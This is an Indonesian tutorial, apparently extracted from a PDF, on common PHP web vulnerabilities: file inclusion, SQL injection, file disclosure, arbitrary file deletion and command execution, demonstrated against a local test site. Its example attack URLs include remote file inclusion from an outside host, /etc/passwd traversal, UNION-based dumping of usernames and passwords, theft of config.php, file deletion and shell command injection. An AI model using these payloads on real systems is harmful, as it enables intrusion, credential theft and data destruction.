phpbugs tutorial

Upload: indri28

Post on 25-Feb-2018

233 views

Category:

Documents


0 download

TRANSCRIPT

  • 7/25/2019 Phpbugs Tutorial

    1/17

    Tutorial Celah KeamananPada PHP ScriptsOleh Ramdan Yantu

  • 7/25/2019 Phpbugs Tutorial

    2/17

    Tutorial Celah Keamanan Pada PHP Scripts 2

    2 By cr4wl3r | bastardlabs.info

    Daftar Isi

    1.Whoami2.Introduction3.Remote File Include4.Local File Include5.SQL Injection

    6.

    Local File Disclosure7.

    Arbitrary File Deletetion8.Remote Command Execution

  • 7/25/2019 Phpbugs Tutorial

    3/17

    Tutorial Celah Keamanan Pada PHP Scripts 3

    3 By cr4wl3r | bastardlabs.info

    1.Whoami

    Nama saya adalah Ramdan Yantu (nick: cr4wl3r)

    Asal dari Hulondalo LipuuIndonesia

    Menyukai wanita pastinya, dan segala hal yang

    berhubungan dengan komputer dan jaringan

    Email: cr4wl3r(!)linuxmail dot org

    Website: bastardlabs.info

  • 7/25/2019 Phpbugs Tutorial

    4/17

    Tutorial Celah Keamanan Pada PHP Scripts 4

    4 By cr4wl3r | bastardlabs.info

    2. Introduction

    Sebelumnya saya ingin menerangkan sedikit, apa yang

    dimaksud dengan PHP, MySQL, dan Apache.

    PHP adalah kependekan dari PHP: HypertextPrepocessor. Pada awalnya PHP adalah kependekan dariPersonal Home Page. PHP pertama kali dibuat oleh RasmusLerdorf pada tahun 1995. Pada waktu itu PHP masih

    bernama Form Interpreter (FI) yang wujudnya berupasekumpulan script yang digunakan untuk mengolah dataformulir dari web. Selanjutnya beliau merilis codetersebut untuk umum dan menamakannya PHP/FI. Dengan

    perilisan code sumber ini maka banyak programmer yangtertarik untuk mengembangkan PHP.

    MySQL adalah Relational Database Management System(RDBMS) yang didistribusikan secara gratis dibawahlisensi GPL (General Public License). MySQl sebenarnya

    merupakan turunan salah satu konsep utama dalamdatabase sejak lama, yaitu SQL (Structured QueryLanguage). Kecepatan query MySQL bisa sepuluh kali

    lebih cepat dari PostgreSQL dan lima kali lebih cepatdibandingkan Interbase.

    Apache adalah web server yang dapat dijalankan dibanyak system operasi (*nix, Win32). Apache memilikifitur seperti pesan kesalahan yang dapat dikonfigurasi,dan autentikasi berbasis grafik user interface (GUI)yang memungkinkan penanganan server menjadi lebih

    mudah.

    Pada tutorial kali ini saya berasumsi Anda telahmenginstal Apache, PHP, MySQL dalam komputer Andasebelumnya. Anda dapat memilih aplikasi seperti

    AppServ, XAMPP dan lain sebagainnya yang dapatmenginstall sekaligus beberapa program seperti Apache,PHP dan MySQL. Karena dalam tutorial ini kita

    melakukannya dalam mode offline artinya kita

  • 7/25/2019 Phpbugs Tutorial

    5/17

    Tutorial Celah Keamanan Pada PHP Scripts 5

    5 By cr4wl3r | bastardlabs.info

    melakukannya pada komputer pribadi. Saya tidakmenganjurkan kepada Anda untuk melakukannya secaraonline. Anda sudah diperingatkan ;)

    Beberapa tutorial memerlukan konfigurasi agar dapatberjalan dengan baik. Jadi Anda perlu merubah beberapaPHP konfigurasi (php.ini). Contoh dari konfigurasi

    php.ini yang mendukung tutorial kali ini adalah sebagaiberikut.

    safe_mode = offregister_globals = on

    allow_url_include = onallow_url_fopen = on

    magic_quotes_gpc = offshort_tag_open = onfile_uploads = ondisplay_errors = on

    3. Remote File Include

    Dalam celah remote file include, ada beberapa kondisidan fungsi include dalam code php.

    requirerequire_onceincludeinclude_once

    Sebagai contoh misalnya kita memiliki sebuah filebernama test.php, disini kita mempunyai sebuah code phpberikut

  • 7/25/2019 Phpbugs Tutorial

    6/17

    Tutorial Celah Keamanan Pada PHP Scripts 6

    6 By cr4wl3r | bastardlabs.info

    Jika kita mengakses file tersebut dari sebuahbrowser, akan ditampilkan sebuah pesan error sepertimisalnya

    Notice: Undefined index: maho in C:\AppServ\www\mahocms\test.php on line 9

    Disini kita lihat dimana variable maho tidakmendapat penyaringan atau validasi input yang baik,sehingga dengan code seperti ini kita bisa mengincludkan file apa saja dari luar server misalnya

    menjadi

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt

    Jika dalam file inject.txt ini berisi sebuah kalimatmisalnya sayabukan maho dan ketika kita mengeksekusiurl tersebut melalui web browser dan kemudianditampilkan kembali kalimat tersebut, maka bisadipastikan inilah kondisi dimana terjadi sebuah celah

    yang dinamakan remote file include.

    Ada yang bertanya, sering kita menemukan karakter ?atau %00 pada sebuah tehnik exploitasi ini.Sebelumnya kita telah melihat contoh code dari celahremote file include, saya kembali akan memberikan

    penjelasan sedikit mengenai kenapa dalam tehnik ini ada

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txthttp://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt
  • 7/25/2019 Phpbugs Tutorial

    7/17

    Tutorial Celah Keamanan Pada PHP Scripts 7

    7 By cr4wl3r | bastardlabs.info

    yang menggunakan karakter %00dan ?. Misalnya kitamemiliki sebuah code seperti berikut ini.

    Pada contoh code diatas, jika kita mencoba untukmerequest url tersebut melalui web browser seperti

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt

    Ini tidak akan berkerja, karena code di atas mencobauntuk meng include file menjadi

    http://bastardlabs.info/inject.txt.php

    Disinilah kita dapat menggunakan karakter %00(nullbyte). Fungsinya yaitu untuk menghilangkankarakter apapun setelah file txt.

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt%00

    Maka dengan begitu file kita akan sukses di eksekusi.Contoh code yang lainnya yang menggunakan karakter ?

    Dengan contoh code diatas kita dapat mencoba merquesturl dengan karakter ? menjadi

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt?logged=1

    http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txthttp://bastardlabs.info/inject.txt.phphttp://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt%00http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt?logged=1http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt?logged=1http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt?logged=1http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt?logged=1http://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt%00http://bastardlabs.info/inject.txt.phphttp://127.0.0.1/mahocms/test.php?maho=http://bastardlabs.info/inject.txt
  • 7/25/2019 Phpbugs Tutorial

    8/17

    Tutorial Celah Keamanan Pada PHP Scripts 8

    8 By cr4wl3r | bastardlabs.info

    4. Local File Include

    Dalam celah local file include fungsi include yangterjadi sama dengan remote file include sebelumnya.Sebagai contoh kita kembali memiliki sebuah file

    bernama test.php dengan code sebagai berikut

    Kembali kita akan mencoba meng eksekusi file tersebutpada browser, tetapi kali ini kita tidak akan mengincludkan file dari luar server, melainkan file daridalam server, sebagai contoh

    http://127.0.0.1/mahocms/test.php?maho=../../../../../etc/passwd

    Karakter ../ artinya melewati direktori atau folderdalam sebuah server, sama halnya jika kita berpindah

    http://127.0.0.1/mahocms/test.php?maho=../../../../../etc/passwdhttp://127.0.0.1/mahocms/test.php?maho=../../../../../etc/passwd
  • 7/25/2019 Phpbugs Tutorial

    9/17

    Tutorial Celah Keamanan Pada PHP Scripts 9

    9 By cr4wl3r | bastardlabs.info

    direktori dalam sebuah terminal console, tergantungkedalaman sebuah file yang akan coba di akses. Apabilakemudian browser kembali menampilkan isi dari file

    misalnya /etc/passwd (*nix) maka inilah kondisi celahdimana dinamakan celah local file include. Penggunaan%00(nullbyte) setelah akhir dari file /etc/passwd%00sama dengan penjelasan seperti pada celah remote fileinclude sebelumnya.

    5. SQL Injection

    SQL Injection adalah suatu celah dimana seorang

    penyerang dapat memanipulasi query dalam statement sql.Sebagai contoh kita memiliki file test.php dengan codesebagai berikut

    Disini jelas terlihat dimana variable maho_idtidakdifilter terlebih dahulu sehingga seorang user dapat

    memasukkan perintah sql pada variable maho_id iniuntuk mendapatkan sebuah username atau password

    misalnya. Pada versi 4.x ke atas sudah terdapat yang

    namanya union syntax. Apa dan bagaimana agar lebihjelas mengenai hal itu dapat dilihat pada halaman

    berikut.

    http://dev.mysql.com/doc/refman/5.0/en/union.html

    http://dev.mysql.com/doc/refman/5.0/en/union.htmlhttp://dev.mysql.com/doc/refman/5.0/en/union.html
  • 7/25/2019 Phpbugs Tutorial

    10/17

    Tutorial Celah Keamanan Pada PHP Scripts 10

    10 By cr4wl3r | bastardlabs.info

    Lantas bagaimana selanjutnya kita bisa memanipulasicelah tersebut. Misalnya url sebelum di injeksi adalahsebagai berikut.

    http://127.0.0.1/mahocms/test.php?maho_id=1

    Maka database akan mengecek permintaan dimana maho_idadalah 1. Jika benar, database akan memberikan sesuaidengan yang di minta.

    Seorang penyerang biasanya untuk mengetahui sebuahscript vulnable terhadap celah sql ini, biasanya

    menambahkan karakter kutip tunggal pada akhir url yangdiminta. Ketika halaman yang ditampilkan menunjukkan

    sebuah error sql maka bisa dipastikan halaman tersebutmemiliki celah sql injection.

    Langkah selanjutnya yang dilakukan adalah mencobamencari table dan kolom yang menyimpan username danpassword dari user yang memiliki privilege setingkatadmin.

    http://127.0.0.1/mahocms/test.php?maho_id=1http://127.0.0.1/mahocms/test.php?maho_id=1
  • 7/25/2019 Phpbugs Tutorial

    11/17

    Tutorial Celah Keamanan Pada PHP Scripts 11

    11 By cr4wl3r | bastardlabs.info

    http://127.0.0.1/mahocms/test.php?maho_id=nullunion select 1,version()--

    http://127.0.0.1/mahocms/test.php?maho_id=null union select1,concat(table_name) from information_schema.tables where

    table_schema=0x6D61686F636D73--

    http://127.0.0.1/mahocms/test.php?maho_id=null union select1,concat(column_name) from information_schema.columns wheretable_schema=0x6D61686F636D73 and table_name=0x7573657273--

    http://127.0.0.1/mahocms/test.php?maho_id=nullhttp://127.0.0.1/mahocms/test.php?maho_id=null
  • 7/25/2019 Phpbugs Tutorial

    12/17

    Tutorial Celah Keamanan Pada PHP Scripts 12

    12 By cr4wl3r | bastardlabs.info

    http://127.0.0.1/mahocms/test.php?maho_id=null union select1,concat(username,0x3a,password)AdhanBukanMaho from users--

    6. Local File Disclosure

    Local file disclosure adalah sebuah celah dimana kitadapat mengambil/download file apa saja yang terdapat

    pada sebuah server. Celah ini umumnya terdapat dalamsebuah file yang memungkinkan seorang user untuk

    mendownload sebuah file dalam server, seperti misalnyamendownload file berbentuk pdf dan lain sebagainya.Contoh dari sebuah file yang terdapat celah ini

    misalnya kita memiliki sebuah file bernama download.phpdengan code sebagai berikut

    Fungsi readfile() adalah membaca content secaraspesifik dari sebuah file. Jadi normalnya jika diakses

    dari web browser adalah sebagai berikuthttp://127.0.0.1/mahocms/download.php?maho=tutorials.pdf

    Kita dapat memanipulasi celah ini, karena variablemaho tidak di filter secara baik sehingga

    memungkinkan kita bisa mengambil file apa saja daridalam server. Sebagai contoh, kita akan mengambil atau

    http://127.0.0.1/mahocms/download.php?maho=tutorials.pdfhttp://127.0.0.1/mahocms/download.php?maho=tutorials.pdf
  • 7/25/2019 Phpbugs Tutorial

    13/17

    Tutorial Celah Keamanan Pada PHP Scripts 13

    13 By cr4wl3r | bastardlabs.info

    mendownload file yang menyimpan configurasi MySQL.Biasanya konfigurasi ini diletakkan pada sebuah fileconfig.php. Maka yang kita lakukan adalah menggantitutorial.pdf menjadi config.php.

    http://127.0.0.1/mahocms/download.php?maho=config.php

    Umumnya file config.php ini diletakkan pada direktoriroot atau pada direktori include.

    Setelah mendapatkan username dan password dari

    konfigurasi mysql, kita dapat mengakses database servermelalui mysql client dengan cara seperti berikut ini,mysql -u root -proot -h 127.0.0.1 -P 3306. Secaradefault, account root tidak dapat terkoneksi dengan

    port tersebut, kecuali dari localhost. Jika kita tidakdapat terkoneksi dengan MySQL/3306 maka kita dapat

    mencari path dari database server /phpMyadmin atau/phpmyadmin.

    7.

    Arbitrary File Deletetion

    Arbitrary File Deletetion adalah celah yang dapatdikategorikan sebagai celah yang High Risk atau sangat

    beresiko yang diakibatkan oleh celah ini, dimanaseorang penyerang dapat menghapus atau men delete

    http://127.0.0.1/mahocms/download.php?maho=config.phphttp://127.0.0.1/mahocms/download.php?maho=config.php
  • 7/25/2019 Phpbugs Tutorial

    14/17

    Tutorial Celah Keamanan Pada PHP Scripts 14

    14 By cr4wl3r | bastardlabs.info

    sebuah file atau data yang terdapat dalam web servertanpa harus memiliki hak khusus semisal memiliki

    privileges admin. Sebagai contoh codenya yaitu

    Kembali terlihat dimana pada string maho tidak

    mendapatkan filter yang baik, sehingga langsung dapatdi eksekusi begitu saja oleh fungsi unlink. Contoh

    sebelum di injecksi misalnya

    http://127.0.0.1/mahocms/test.php?maho=sampah.txt

    Kita dapat mengeksekusi file apa saja yang ada dalamweb server selain dari pada file sampah.txt inimisalnya.

    http://127.0.0.1/mahocms/test.php?maho=config.php

    Dengan meminta url tersebut melalui web browser, makasebuah file config.php akan di hapus secara otomatis

    tanpa harus melewati sebuah authentication permissionterlebih dahulu.

    http://127.0.0.1/mahocms/test.php?maho=sampah.txthttp://127.0.0.1/mahocms/test.php?maho=config.phphttp://127.0.0.1/mahocms/test.php?maho=config.phphttp://127.0.0.1/mahocms/test.php?maho=sampah.txt
  • 7/25/2019 Phpbugs Tutorial

    15/17

    Tutorial Celah Keamanan Pada PHP Scripts 15

    15 By cr4wl3r | bastardlabs.info

    Anda bisa menebak sendiri akibat yang ditimbulkan

    oleh celah ini.

    8.

    Remote Command Execution

    Remote Command Execution adalah sebuah celah dimanaseorang penyerang dapat memasukkan perintah apa saja didalam mesin target.

    Remote Command Execution sendiri disebabkan olehbeberapa fungsi yang ada dalam tags php seperti

    systempassthruexecshell_exec

    Contoh dari sebuah code yang memiliki celah inimisalnya.

  • 7/25/2019 Phpbugs Tutorial

    16/17

    Tutorial Celah Keamanan Pada PHP Scripts 16

    16 By cr4wl3r | bastardlabs.info

    Kita melihat dimana string maho tidak mendapat

    pemfilteran, dan kemudian pada tags php berikutnyadibuka dengan fungsi shell_exec(). Maka jika seseorang

    mencoba untuk melakukan permintaan melalui web browserdengan cara misalnya sebagai berikut

    http://127.0.0.1/mahocms/test.php?maho=whoami

    Maka web browser akan merespon dan kemudianmengirimkan kembali kepada user sesuai dengan commandatau perintah yang di minta.

    Menarik bukan? Anda dapat menjalankan perintah apasaja dalam mesin target, dan dapat melakukan exploitasilocal misalnya.

    Sekian tutorial kita kali ini. Semoga dengan tutorialsingkat ini dapat menambah pengetahuan kita dalam

    menemukan celah ataupun mengatasi celah seperti yang

    telah di paparkan diatas.

    http://127.0.0.1/mahocms/test.php?maho=whoamihttp://127.0.0.1/mahocms/test.php?maho=whoami
  • 7/25/2019 Phpbugs Tutorial

    17/17

    Tutorial Celah Keamanan Pada PHP Scripts 17

    17 By cr4wl3r | bastardlabs.info

    Terima kasih untuk :

    Seluruh masyarakat gorontalo dimanapun berada, danseluruh pengemudi bentor yang berada di gorontalo :))))

    milw0rm, Manadocoding, Sekuritionline (rip), temanteman komunitas security dan hacker Indonesia

    Referensi:

    php.netapache.org

    mysql.comgoogle.com (the best place for ask something)

    milw0rm.com (rip)packetstormsecurity.comexploit-db.comha.ckers.org

    Finding vulnerabilities in PHP scripts by SirgodBug RFI & LFI Serta Pencegahannya by cr4wl3r